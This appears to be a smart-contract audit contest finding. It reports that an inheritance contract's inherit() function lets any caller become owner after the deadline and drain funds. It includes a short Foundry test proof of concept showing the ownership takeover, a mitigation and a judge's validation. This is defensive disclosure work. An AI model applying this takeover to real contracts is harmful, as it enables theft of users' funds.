Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Owner Can be changed by Anyone

TITLE: Any one can change Owner.

Description: If there is only one benificery, after the deadline, any one can call inheritance:: inherit(); function and become the owner.

Impact: Once the user becomes owner he can drain all the funds.

Proof of Concepts

function test_AnyOneCanInherit() public {
vm.startPrank(owner);
address _ownerBefore = im.getOwner();
console.log("Owner Before", _ownerBefore);
im.addBeneficiery(user1);
vm.warp(im.getDeadline() + 1 days);
vm.startPrank(user2);
im.inherit();
address _ownerAfter = im.getOwner();
console.log("Owner After", _ownerAfter);
vm.stopPrank();
}

Result: Owner Before 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266 Owner After 0x537C8f3d3E18dF5517a58B3fB9D9143697996802

Recommended mitigation: Change Owner = msg.sender in the inherit() to owner = benificiery[0], And all the access modifier to the function.

Updates

Lead Judging Commences

0xtimefliez Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.